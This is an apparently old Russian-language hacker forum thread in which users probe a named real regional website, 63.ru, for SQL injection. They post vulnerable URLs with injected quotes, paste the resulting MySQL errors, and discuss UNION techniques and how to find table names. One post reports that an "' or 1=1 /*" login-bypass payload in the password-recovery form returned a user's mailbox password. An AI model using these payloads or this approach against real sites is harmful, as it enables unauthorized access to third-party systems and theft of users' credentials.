Mysql-inj?

[Laggi]

http://www.63.ru/forum/forum.php?cmd=supergrass&id='
Выдает ошибку...
Ну ясно - не отсеивается ' в запросах... что-нить глубже получится у кого-нить раскопать? У мну не получилось О_о
Гм.. там баг в таких почти везде запросах...
http://www.63.ru/forum/forum.php?cmd=supergrass&id=195438&type='
http://63.ru/poll/stat.php?anketa='
Это в селектах...
В голосовалке таже фигня в апдейте...

[k1b0rg]

во всех сайтах http://"$number".ru одни и теже ошибки

[max_pain89]

Can't insert message id:

Это значит что запрос INSERT INTO, а многострадальный UNION работает лишь с SELECT

[Laggi]

Can't get id of forum: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 1' at line 1

это селект

[Deem3n®]

И еще, если ввести в форме
__hxxp://www.63.ru/mail/mail?cmd=showforget
в качестве имени пользователя ' or 1=1 /*, то будет
Пароль от ящика ' or 1=1 /*@63.ru : blade
Не забывайте его! :D

[Laggi]

дак вот: есть ли методика унзнавания имен таблиц или т.п.?

[fucker"ok]

есть. Но как-то при insert я методов не вижу. Тут рулит многострадальный union =)

[Laggi]

есть. Но как-то при insert я методов не вижу. Тут рулит многострадальный union =)
да блин... тут не только в инзертах дыры! :-)
Я где-то в селекте видел...
А не мог бы подсказать ссылку или описать методику поиска названий таблиц и полей в них